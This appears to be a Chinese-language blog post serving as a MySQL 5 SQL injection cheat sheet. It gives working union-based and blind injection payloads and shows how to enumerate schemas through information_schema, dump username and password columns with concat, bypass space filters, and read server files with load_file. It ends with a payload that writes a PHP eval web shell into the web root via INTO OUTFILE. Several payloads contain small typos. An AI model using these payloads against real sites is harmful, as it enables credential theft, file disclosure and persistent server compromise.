在MSSQL中我们可以通过系统表找到我们不能猜解到表和字段。我会以后笔记做出关于MSSQL注入猜解表的方法。
我们都知道Mysql4.0以下版本不支持union查询,所以我们一般会查询下mysql版本号,方法如下:
order by num /* # 先判断有多少个字段,采用折半法
根据得到的字段数得到版本号(针对能够在页面现实情况),SQL语句如下:
id=-1 and select 1,user(),version(),database(),5,... /*
这句话是假设在3,4,5字段显示在页面,version()爆出版本,今天只讨论Mysql5的一些技巧。
另外对于一些没有显示出错页面的注入情况,比如登录的注入等情况。SQL语句如下:
and ord(mid(version(),1,1))>51 /* # 判断版本是否大于4,51是4的ASCII
ok,这是前奏,重点在下面要讨论的。
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
引用
|SCHEMATA ->存储数据库名的表
|---字段:SCHEMA_NAME ->数据库名称
|TABLES ->存储表名
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段:TABLE_NAME ->存储表的表名
|COLUMNS ->存储的字段名表
|---字段:TABLE_SCHEMA ->该字段所属数据库名
|---字段:TABLE_NAME ->存储所属表的名称
|---字段:COLUMN_NAME ->该字段的名称
通过这个结构我们可以很轻易地得到该数据库系统任意库、表和字段信息。一般配合limit组合SQL操作。
其他技巧:
1.在将表名转化成十六进制方式带入SQL语句,在注入语句末端带入注视符号/*以免影响SQL的出错;
2.绕过过滤空格的方法是将SQL中的空格,将空格以/**/替代即可;
3.如果在mysql的root权限下,我们可以通过load_file()读取一些敏感文件内容;
4.得到操作系统的信息,SQL语句如下:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
5.contact函数的妙用,有时候页面只有一个位置可以显示,同时可以通过连接多个表名来得到结果,SQL如下:
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
该函数将2个字段通过0x3c连接,可以无限多个。
6.有写权限直接通过sql写入一句话木马,前提必须知道物理路径:
and 1=2 union all select 一句话HEX值 into outfile '绝对路径'
7.通过内置Mysql系统函数Database(),user(),system_user(),session_user(),current_user(),@@datadir来得到信息
,同时通过数据库路径可以判断操作系统是window还是linux的。
8.注射后页面显示
Illegal mix of collations (…) and (…) for operation 'UNION'
采用:
select unhex(hex(load_file(0x633A5C626F6F742E696E69)))
load_file导出webshell:
union select 1,2,3,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80, 79,83,84,91,104,97,107,122,93),5,6 into outfile '绝对路径/xiaoc.php’/*
http://www.81sec.com/post/66/